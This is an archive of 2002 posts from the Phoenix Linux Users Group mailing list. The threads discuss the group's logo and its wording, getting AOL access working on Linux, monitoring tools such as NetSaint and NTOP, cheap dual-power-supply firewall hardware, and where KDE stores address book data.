nothing > is a miracle. The other is as though everything is a miracle." > -- Albert Einstein > > > matt wyant | friend, gentleman, scholar > zanfar@nospam.zanfar.com | http://www.zanfar.com > I have to agree with Matt, the original design is compact and "reads" well. Tux is dominate and the cacti says "desert." In short, it works. Dennis Kibbe From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 17:01:46 2002 From: plug-discuss@lists.plug.phoenix.az.us (foodog) Date: Sat, 29 Jun 2002 10:01:46 -0700 Subject: Membership database References: <5.1.0.14.0.20020626163527.00a52ec0@localhost> <5.1.0.14.0.20020626203832.025352a0@localhost> <02062711351412.07972@nova.wedge.org> Message-ID: <3D1DE7FA.D9C5FC65@pop.phnx.uswest.net> FWIW, I think that a good search engine aimed into the various plug-* archives would be the most useful tool we could offer. There's a bunch of great information that's already been posted. If someone found an entry with information related to what they need, they'd also have the contact information (email addr) of a person likely to have more information on the topic. Again, FWIW. Steve Jim wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > My thoughts on a member database. > ... From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 17:28:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Sat, 29 Jun 2002 10:28:33 -0700 Subject: hot off of slashdot Message-ID: <000a01c21f92$66836a90$0601010a@tickticker.com> This is a multi-part message in MIME format. ------=_NextPart_000_0007_01C21F57.B8356CC0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable it's not just interesting, it's kinda sickening... Microsoft Media Player "Security Patch" Changes EULA Big Time Posted by CmdrTaco on Saturday June 29, @01:23PM=20 from the under-the-guise-of-security dept. MobyTurbo writes "In an article on BSD Vault a careful reader posts that = in the latest Windows Media Player security patch, the EULA (the = "license agreement" you click on) says that you give MS the right to = install digital rights management software, and the right to disable any = other programs which may circumvent DRM on your computer." So if you = want your machine secure, you also want microsoft to have free reign on = your PC.=20 ------=_NextPart_000_0007_01C21F57.B8356CC0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
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MobyTurbo writes "In an article on = BSD=20 Vault a careful reader posts that in the latest Windows Media Player = security=20 patch, the EULA (the "license agreement" you click on) says that you = give MS the=20 right to install digital rights management software, and the right to = disable=20 any other programs which may circumvent DRM on your computer." So if you = want=20 your machine secure, you also want microsoft to have free reign on your = PC.=20
------=_NextPart_000_0007_01C21F57.B8356CC0-- From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 17:32:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Sat, 29 Jun 2002 10:32:36 -0700 Subject: PLUG Logo - serving suggestion In-Reply-To: <200206290931.47521.dennisk@sahuaro.f2s.com> References: <000301c21f1e$dc00b8f0$6500000a@janus> <200206290931.47521.dennisk@sahuaro.f2s.com> Message-ID: <200206291032.36487.dennisk@sahuaro.f2s.com> Take the PLUG logo and add a nice KDE wallpaper and you have delicious desktop! http://www.sahuaro.f2s.com/plug_logo_wallpaper2.jpg Dennis Kibbe PS - too much time on a Saturday morning From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 17:42:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Sat, 29 Jun 2002 10:42:31 -0700 Subject: PLUG Logo - serving suggestion References: <000301c21f1e$dc00b8f0$6500000a@janus> <200206290931.47521.dennisk@sahuaro.f2s.com> <200206291032.36487.dennisk@sahuaro.f2s.com> Message-ID: <3D1DF187.977B009B@leml.asu.edu> Dennis Kibbe wrote: > > Take the PLUG logo and add a nice KDE wallpaper and you have delicious > desktop! > > http://www.sahuaro.f2s.com/plug_logo_wallpaper2.jpg > > Dennis Kibbe > PS - too much time on a Saturday morning Hey Dennis... how bout a Penguinelli (Kokopelli/Tux hybrid) Petroglyph? ;-) EBo -- From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 18:01:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Sat, 29 Jun 2002 11:01:48 -0700 Subject: PLUG Logo - serving suggestion In-Reply-To: <3D1DF187.977B009B@leml.asu.edu> References: <000301c21f1e$dc00b8f0$6500000a@janus> <200206291032.36487.dennisk@sahuaro.f2s.com> <3D1DF187.977B009B@leml.asu.edu> Message-ID: <200206291101.48493.dennisk@sahuaro.f2s.com> On Saturday 29 June 2002 10:42 am, John (EBo) David wrote: > Dennis Kibbe wrote: > > Take the PLUG logo and add a nice KDE wallpaper and you have delicious > > desktop! > > > > http://www.sahuaro.f2s.com/plug_logo_wallpaper2.jpg > > > > Dennis Kibbe > > PS - too much time on a Saturday morning > > Hey Dennis... how bout a Penguinelli (Kokopelli/Tux hybrid) Petroglyph? > ;-) > > > EBo -- Didn't I see a movie preview where those prehistoric creatures return to life and come swooping down on Redmond breathing fire? Dennis From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 18:25:06 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lee Einer) Date: Sat, 29 Jun 2002 11:25:06 -0700 Subject: Linux and AOL Message-ID: <3D1DFB82.80D376EE@cox.net> Hi, all- One of my co-workers is interested in getting Linux installed on her PC at home. She uses AOL for internet access. How difficult is it to get a Linux box set up for AOL? -- Lee Einer http://members.cox.net/appealsman/ From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 18:30:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tony Wasson) Date: Sat, 29 Jun 2002 11:30:51 -0700 Subject: Netsaint References: <200206271414.55584.zen2now@qwest.net> <200206271504.57236.zen2now@qwest.net> <1025218248.10747.90.camel@syz.broken-bit.com> <200206271638.57847.zen2now@qwest.net> Message-ID: <010e01c21f9b$196dbf90$e367c6d0@chelly> ----- Original Message ----- From: "slr" To: ; "Lowell Hamilton" Sent: Thursday, June 27, 2002 16:38 Subject: Re: Netsaint > well i was looking to monitor my exchange server, PDC, SQL server, 4 Samba > servers, 5 webservers, 3 DNS servers, my routers and switches, and 3 MySQL > servers. in this senario would netsaint be an overkill? i am trying out ntop > right now, what is your feeling about this app? > > as for NEAT, i check the netsaint.cfg and netsaint_user=contains my netsaint > user and not the apacheuser. :~( > > slr I've run NTOP before, and the 1.xx works, but doesn't really do web viewable reports. I played with 2.xx about 2 months ago, and it crashed daily. I could have gotten a 'stable' copy from the CVS, but decided to wait a bit. I was impressed with NTOP, but it eats memory. I liked the fact that I could 'see' active TCP connections on my network and that I could see most active ports etc. I will try NTOP again in the future. For monitoring, I found the main utility of NTOP in an overall 'who's sucking the bandwidth' scenario. If I had the funding, I'd buy InMon's traffic server which polls most monitorable HP switches for current traffic. It runs on RedHat and includes probe software which can actually report what's happening in a 1Gbps pipe. I've used NetSaint + NEAT, and it works well. If you are a whiz at editing the netsaint.cfg NEAT will hold you back. If you just want to update an IP address or add a new device once in a while, I think NEAT is great. slr, I don't think NetSaint is an overkill for your situation. In fact I will suggest that you look at Cricket to take you NetSaint values and graph them. Graphs rock! Especially when there is an outage or slowdown, and you can show your boss, and say 'See? Here's the problem, our SQL box keeps running out of memory during the slowdowns.' Tony From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 19:11:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Sat, 29 Jun 2002 12:11:38 -0700 Subject: PLUG Logo - serving suggestion References: <000301c21f1e$dc00b8f0$6500000a@janus> <200206291032.36487.dennisk@sahuaro.f2s.com> <3D1DF187.977B009B@leml.asu.edu> <200206291101.48493.dennisk@sahuaro.f2s.com> Message-ID: <3D1E066A.5D0E0DB8@leml.asu.edu> Dennis Kibbe wrote: > > On Saturday 29 June 2002 10:42 am, John (EBo) David wrote: > > Dennis Kibbe wrote: > > > Take the PLUG logo and add a nice KDE wallpaper and you have delicious > > > desktop! > > > > > > http://www.sahuaro.f2s.com/plug_logo_wallpaper2.jpg > > > > > > Dennis Kibbe > > > PS - too much time on a Saturday morning > > > > Hey Dennis... how bout a Penguinelli (Kokopelli/Tux hybrid) Petroglyph? > > ;-) > > > > > > EBo -- > > Didn't I see a movie preview where those prehistoric creatures return to life > and come swooping down on Redmond breathing fire? naaa... That would be JurasicTux. Penguinelli is the southwestern opensorce hunchback coder... no one remembers when Tux first showed up, but he's been coding ever since ;-) EBo -- From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 19:09:03 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Sat, 29 Jun 2002 12:09:03 -0700 (MST) Subject: Linux and AOL In-Reply-To: <3D1DFB82.80D376EE@cox.net> Message-ID: On Sat, 29 Jun 2002, Lee Einer wrote: > How difficult is it to get a Linux box set up for AOL? I could convert several people to Linux if it worked with AOL. "You can just switch ISP's," I say. "Oh, no, I don't want the hassle." "grrrrrmph." As far as I know, it's impossible to use AOL as your ISP for Linux. \\/ http://www.wlindley.com From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 19:33:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug@unfm00.com) Date: Sat, 29 Jun 2002 15:33:11 -0400 Subject: hot off of slashdot Message-ID: All the more reason not to use Microsoft Products. Original Message: ----------------- From: tickticker tickticker@cox.net Date: Sat, 29 Jun 2002 10:28:33 -0700 To: plug-discuss@lists.plug.phoenix.az.us Subject: hot off of slashdot it's not just interesting, it's kinda sickening... Microsoft Media Player "Security Patch" Changes EULA Big Time Posted by CmdrTaco on Saturday June 29, @01:23PM from the under-the-guise-of-security dept. MobyTurbo writes "In an article on BSD Vault a careful reader posts that in the latest Windows Media Player security patch, the EULA (the "license agreement" you click on) says that you give MS the right to install digital rights management software, and the right to disable any other programs which may circumvent DRM on your computer." So if you want your machine secure, you also want microsoft to have free reign on your PC. -------------------------------------------------------------------- mail2web - Check your email from the web at http://mail2web.com/ . From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 19:36:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (Richard L. Proctor) Date: Sat, 29 Jun 2002 12:36:13 -0700 Subject: Linux and AOL References: Message-ID: <003101c21fa4$3aa93320$0b02a8c0@krycom> You might wnat to have a look here... http://news.com.com/2100-1023-244438.html?legacy=cnet ----- Original Message ----- From: "William Lindley" To: "PLUG newsgroup" Sent: Saturday, June 29, 2002 12:09 PM Subject: Re: Linux and AOL > On Sat, 29 Jun 2002, Lee Einer wrote: > > How difficult is it to get a Linux box set up for AOL? > > I could convert several people to Linux if it worked with AOL. "You can > just switch ISP's," I say. "Oh, no, I don't want the hassle." > "grrrrrmph." > > As far as I know, it's impossible to use AOL as your ISP for Linux. > > \\/ > http://www.wlindley.com > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 19:38:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sat, 29 Jun 2002 12:38:21 -0700 (PDT) Subject: Grammar, Was: PLUG Logo Update! In-Reply-To: <00ce01c21f81$0b5112a0$2f7c0d82@peyote> Message-ID: Hmm... Any English professors in the audience? We could do: User Users User's Users' All of these examples can be found in use by other Linux groups on the 'net. We're a group of "Linux users," but we're also a "user group." So I guess it depends on where you put the emphasis on the phrase. The Linux group in Portland uses: "Portland Linux Unix Group" which gets rid of the "is it plural or not" problem all together. ;-) ~M On Sat, 29 Jun 2002, slr wrote: > well, i think i asked this ? before, because the PLUG web site is > inconsistant. and yours is only the second comment about "Users" vs "User". > how does the group feel about this isssue? > > slr > > ----- Original Message ----- > From: "William Lindley" > To: > Sent: Saturday, June 29, 2002 6:33 AM > Subject: Re: PLUG Logo Update! > > > > Our banner says "Users" Group... let's be consistent at least. > > > > The logo should say "Users". > > > > \\/ > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 19:32:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sat, 29 Jun 2002 12:32:55 -0700 (PDT) Subject: Linux and AOL In-Reply-To: <3D1DFB82.80D376EE@cox.net> Message-ID: There's currently not an AOL client for Linux. You can use the AOL Instant Messenger on Linux and you can check your email through their web interface, however. I would suggest that you contact AOL and let them know you're interested in an official Linux AOL client. I know of a lot of people that only use their computer for AOL and they wouldn't mind having Linux, as long as they can still use AOL. ~M On Sat, 29 Jun 2002, Lee Einer wrote: > Hi, all- > > One of my co-workers is interested in getting Linux installed on her > PC at home. She uses AOL for internet access. How difficult is it to > get a Linux box set up for AOL? > > -- > Lee Einer > > http://members.cox.net/appealsman/ > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 19:44:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (Richard L. Proctor) Date: Sat, 29 Jun 2002 12:44:27 -0700 Subject: Gamespy Message-ID: <004001c21fa5$60c17030$0b02a8c0@krycom> This is a multi-part message in MIME format. ------=_NextPart_000_003D_01C21F6A.B448A790 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Anyone hear about the game spy installer infecting some 3100 PC's with = the nimda viurs? Richard L. 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------=_NextPart_000_003D_01C21F6A.B448A790-- From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 19:58:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Michelle Lowman) Date: Sat, 29 Jun 2002 12:58:47 -0700 Subject: Grammar, Was: PLUG Logo Update! In-Reply-To: References: <00ce01c21f81$0b5112a0$2f7c0d82@peyote> Message-ID: <20020629125847.1f773e7c.mlowman@firstlinux.net> Aw jeez, I was afraid of this. ;) User is OK Users is OK User's is NOT OK (this would indicate that this is a group that belongs to only one user -- aaargh.) Users' is OK (probably most technically correct since this is a group that belongs the users -- plural and shows ownership) I guess it doesn't really matter, but we should be consistent. -Michelle On Sat, 29 Jun 2002 12:38:21 -0700 (PDT) Matt Alexander wrote: > Hmm... Any English professors in the audience? We could do: > > User > Users > User's > Users' > > All of these examples can be found in use by other Linux groups on the > 'net. We're a group of "Linux users," but we're also a "user group." So > I guess it depends on where you put the emphasis on the phrase. The Linux > group in Portland uses: > "Portland Linux Unix Group" which gets rid of the "is it plural or not" > problem all together. ;-) > ~M > > > On Sat, 29 Jun 2002, slr wrote: > > > well, i think i asked this ? before, because the PLUG web site is > > inconsistant. and yours is only the second comment about "Users" vs "User". > > how does the group feel about this isssue? > > > > slr > > > > ----- Original Message ----- > > From: "William Lindley" > > To: > > Sent: Saturday, June 29, 2002 6:33 AM > > Subject: Re: PLUG Logo Update! > > > > > > > Our banner says "Users" Group... let's be consistent at least. > > > > > > The logo should say "Users". > > > > > > \\/ > > > > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 20:33:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (Charlie Bullen) Date: Sat, 29 Jun 2002 13:33:20 -0700 Subject: Linux and AOL References: <3D1DFB82.80D376EE@cox.net> Message-ID: <001301c21fac$3ad24550$6400a8c0@amd1000> I wonder if you could use the AOL client for windows on linux with wine. I've had good results with codeweavers wine and also their crossoveroffice product. In fact, if I have an AOL disk in my mailbox today I may just give it a try. Charlie ----- Original Message ----- From: "Lee Einer" To: "PLUG newsgroup" Sent: Saturday, June 29, 2002 11:25 AM Subject: Linux and AOL > Hi, all- > > One of my co-workers is interested in getting Linux installed on her > PC at home. She uses AOL for internet access. How difficult is it to > get a Linux box set up for AOL? > > -- > Lee Einer > > http://members.cox.net/appealsman/ > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 21:05:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug@unfm00.com) Date: Sat, 29 Jun 2002 17:05:28 -0400 Subject: Gamespy Message-ID: http://story.news.yahoo.com/news?tmpl=story&ncid=582&e=1&cid=582&u=/nm/20020627/wr_nm/tech_gamespy_dc_1 Original Message: ----------------- From: Richard L. Proctor krycom1@cox.net Date: Sat, 29 Jun 2002 12:44:27 -0700 To: plug-discuss@lists.plug.phoenix.az.us Subject: Gamespy Anyone hear about the game spy installer infecting some 3100 PC's with the nimda viurs? Richard L. Proctor Krystal Computer Services PC Repairs & Upgrades www.krycom.com 480-699-3098 -------------------------------------------------------------------- mail2web - Check your email from the web at http://mail2web.com/ . From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 22:18:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Sat, 29 Jun 2002 15:18:07 -0700 (PDT) Subject: Linux and AOL In-Reply-To: Message-ID: <20020629221807.37664.qmail@web13401.mail.yahoo.com> --- William Lindley wrote: > On Sat, 29 Jun 2002, Lee Einer wrote: > > How difficult is it to get a Linux box set up for > AOL? > > I could convert several people to Linux if it worked > with AOL. "You can > just switch ISP's," I say. "Oh, no, I don't want > the hassle." > "grrrrrmph." > > As far as I know, it's impossible to use AOL as your > ISP for Linux. I agree about the just switching ISP's part. It's not impossible though. A guy on one of the irc networks I frequent uses aol and Linux. Maybe I can ask "Mr.Roboto" how he goes about doing this. __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 22:55:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Sat, 29 Jun 2002 15:55:23 -0700 (MST) Subject: Linux and AOL In-Reply-To: <003101c21fa4$3aa93320$0b02a8c0@krycom> Message-ID: Am 29. Jun, 2002 schwätzte Richard L. Proctor so: > You might wnat to have a look here... > > http://news.com.com/2100-1023-244438.html?legacy=cnet That's from Aug 2000. I've talked to people from AOL more recently than that and they suggest corporate policy is to ignore GNU/Linux. It's not the market they want and it's a small market. Best bet to connect to AOL from GNU/Linux would be to try to get it working under WINE and send AOL bug reports. Even better would be to get people to move to a better service provider. If AOL sees their customer base leaving because there's no mechanism to use them as an ISP from GNU/Linux they'll start considering GNU/Linux as a valid target platform. ciao, der.hans -- # https://www.LuftHans.com/ # Only wimps use tape backup: _real_ men just upload their important # stuff on ftp, and let the rest of the world mirror it. -- Linus Torvalds From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 22:59:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Sat, 29 Jun 2002 15:59:14 -0700 (MST) Subject: PLUG Logo Update! In-Reply-To: <00ce01c21f81$0b5112a0$2f7c0d82@peyote> Message-ID: Am 29. Jun, 2002 schwätzte slr so: > well, i think i asked this ? before, because the PLUG web site is > inconsistant. and yours is only the second comment about "Users" vs "User". > how does the group feel about this isssue? It's hardest to change the banner. As long as what it says is not greviously wrong, it's probably what we should adopt. BTW, thanks again for all the work the two of you have done on the logo for us! ciao, der.hans -- # https://www.LuftHans.com/ # I'm not anti-social, I'm pro-individual. - der.hans From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 23:40:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Sat, 29 Jun 2002 16:40:48 -0700 (MST) Subject: cheap dual-power supply boxen Message-ID: moin, moin, what's the point of having the web server on dual power supplies if the firewall isn't? So now I need a couple of cheap boxen with dual power supplies. They're for firewalls, so firepower isn't necessary. I will be doing some interesting things on them, so I can't just dust off a P90 this time around, though. Any suggestions on where to get something inexpensively? I'll probably end up buying cases and putting everything together myself, but not having to deal with PC hardware is a good thing, so I'd rather buy something pre-built. ciao, der.hans -- # https://www.LuftHans.com/ # It's up to the reader to make the book interesting. # An author has only the opportunity to make it uninteresting. - der.hans From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 00:10:46 2002 From: plug-discuss@lists.plug.phoenix.az.us (Victor Odhner) Date: Sat, 29 Jun 2002 17:10:46 -0700 Subject: cheap dual-power supply boxen References: Message-ID: <3D1E4C86.6DB0EF51@cox.net> "der.hans" wrote: > ... I will be doing some interesting things on them, > so I can't just dust off a P90 this time around, though. Well, you could always buy that HP9000 (see below) and ditch the software ... ;-) Vic Subject: [azipa] HP9000 L2000 For sale Date: Sat, 29 Jun 2002 09:16:13 -0700 From: "Chris Besing" To: Great for a dev box or possibly a production box. Has all software licenses including Omniback for the DLT drive. Includes 8ft. rack. and extras. Also have Broadvision enterprise software that could be used for development purposes. Please email to cbesing@cox.net for more details. From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 01:02:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Sat, 29 Jun 2002 18:02:26 -0700 Subject: PLUG Logo Update! In-Reply-To: References: Message-ID: <200206291802.26280.dennisk@sahuaro.f2s.com> On Saturday 29 June 2002 06:33 am, William Lindley wrote: > Our banner says "Users" Group... let's be consistent at least. > > The logo should say "Users". > > \\/ User is singular, isn't it? Our goal is to get many "users" no? Dennis From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 03:46:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Sat, 29 Jun 2002 20:46:24 -0700 Subject: Backing up Kaddressbook & Korganizer Data-How? Message-ID: <200206292046.24601.dennisk@sahuaro.f2s.com> Where are the data files for Kaddressbook & Korganizer kept? I've looked under /~.kde/share/apps but both kab and korganizer are empty folders. A search of the kde-user and kde-pim mail list revealed little. thanks, Dennis Kibbe From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 04:05:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (Peter Buechler) Date: Sat, 29 Jun 2002 21:05:13 -0700 Subject: cheap dual-power supply boxen In-Reply-To: References: Message-ID: <200206292105.13050.peter.buechler@cox.net> When I want something cheap that is just a bit behind the curve, I check out http://computersurplusoutlet.com. On Saturday 29 June 2002 16:40, der.hans wrote: > moin, moin, > > what's the point of having the web server on dual power supplies if the > firewall isn't? > > So now I need a couple of cheap boxen with dual power supplies. They're for > firewalls, so firepower isn't necessary. I will be doing some interesting > things on them, so I can't just dust off a P90 this time around, though. > > Any suggestions on where to get something inexpensively? I'll probably end > up buying cases and putting everything together myself, but not having to > deal with PC hardware is a good thing, so I'd rather buy something > pre-built. > > ciao, > > der.hans From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 04:38:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: 29 Jun 2002 21:38:35 -0700 Subject: Linux and AOL In-Reply-To: References: Message-ID: <1025411916.31898.15.camel@hawk> I've also heard the same thing. While they would love it if RedHat or someone provided an AOL client (and support). They've decided that with the different favors of *nix there would be no WAY they could support them all with the kind of basic computers help their customers have come to expect. They also realize that most Linux users would *never* use AOL so they aren't even going to try for that space. Though everyone knows that they are still working on the client (a significant number of their programmers perfer Linux and needed a way to test from their boxes). I don't think they *ever* intend to release it. Carl P. On Sat, 2002-06-29 at 15:55, der.hans wrote: > Am 29. Jun, 2002 schwätzte Richard L. Proctor so: > > > You might wnat to have a look here... > > > > http://news.com.com/2100-1023-244438.html?legacy=cnet > > That's from Aug 2000. I've talked to people from AOL more recently than that > and they suggest corporate policy is to ignore GNU/Linux. It's not the market > they want and it's a small market. > > Best bet to connect to AOL from GNU/Linux would be to try to get it working > under WINE and send AOL bug reports. > > Even better would be to get people to move to a better service provider. If > AOL sees their customer base leaving because there's no mechanism to use > them as an ISP from GNU/Linux they'll start considering GNU/Linux as a valid > target platform. > > ciao, > > der.hans > -- > # https://www.LuftHans.com/ > # Only wimps use tape backup: _real_ men just upload their important > # stuff on ftp, and let the rest of the world mirror it. -- Linus Torvalds > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 04:34:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lee Einer) Date: Sat, 29 Jun 2002 21:34:10 -0700 Subject: Linux and AOL References: <1025411916.31898.15.camel@hawk> Message-ID: <3D1E8A42.671C558F@cox.net> While net-searching on this topic, I did happen on a piece of software called PengAOL, which supposedly is AOL dialup software for Linux. Does anyone on the list have experience with this software? The software and docs are at http://www.pengaol.org/ -- Lee Einer http://members.cox.net/appealsman/ From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 04:50:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Sat, 29 Jun 2002 23:50:41 -0500 (CDT) Subject: Linux and AOL In-Reply-To: Message-ID: AOL protocol has been successfully reverse engineered why wait for AOL? http://www.pengaol.ipfrance.net/eng/ About Peng for Aol Peng is a free program for Linux which sets up a bridge IP for the Aol's subscribers. In practice it allows to connect to internet by way of AOL. This program is a reverse ingeenering of the AOL's program by analyzing bytes sent to the modem. No code's line of the official program was dismantle. The final goal is to offer an access with a high level of stability and security at the Aol's users under linux. -Derek On Sat, 29 Jun 2002, Matt Alexander wrote: > There's currently not an AOL client for Linux. You can use the AOL > Instant Messenger on Linux and you can check your email through their web > interface, however. I would suggest that you contact AOL and let them > know you're interested in an official Linux AOL client. I know of a lot > of people that only use their computer for AOL and they wouldn't mind > having Linux, as long as they can still use AOL. > ~M > > > On Sat, 29 Jun 2002, Lee Einer wrote: > > > Hi, all- > > > > One of my co-workers is interested in getting Linux installed on her > > PC at home. She uses AOL for internet access. How difficult is it to > > get a Linux box set up for AOL? > > > > -- > > Lee Einer > > > > http://members.cox.net/appealsman/ > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 04:55:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Sat, 29 Jun 2002 23:55:51 -0500 (CDT) Subject: Gamespy In-Reply-To: Message-ID: An AOL on Lniux Tutorial. http://www.yolinux.com/TUTORIALS/LinuxTutorialAOL.html -Derek From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 06:13:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Sat, 29 Jun 2002 23:13:14 -0700 Subject: Backing up Kaddressbook & Korganizer Data-How? In-Reply-To: <200206292046.24601.dennisk@sahuaro.f2s.com> References: <200206292046.24601.dennisk@sahuaro.f2s.com> Message-ID: <200206292313.20388.plug@the-arcanum.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Mine are under .kde/share/apps/kabc and my korganizer is a shared file on my server so my wife and I see the same thing.. Can't help you there. Sorry kabc directory should have a std.vcf file. nathan Am Samstag 29 Juni 2002 08:46 nachmittags/abends schrieb Dennis Kibbe: > Where are the data files for Kaddressbook & Korganizer kept? I've looked > under /~.kde/share/apps but both kab and korganizer are empty folders. A > search of the kde-user and kde-pim mail list revealed little. > > thanks, > > Dennis Kibbe > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Nathan England plug@the-arcanum.org "A free society is one where it is safe to be unpopular" --Adlai Stevenson -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9HqF9Q7yNnsYcupwRAhzSAJ9yebL5wHPGGlUNHupf0uxpbsAX2QCeOTmx 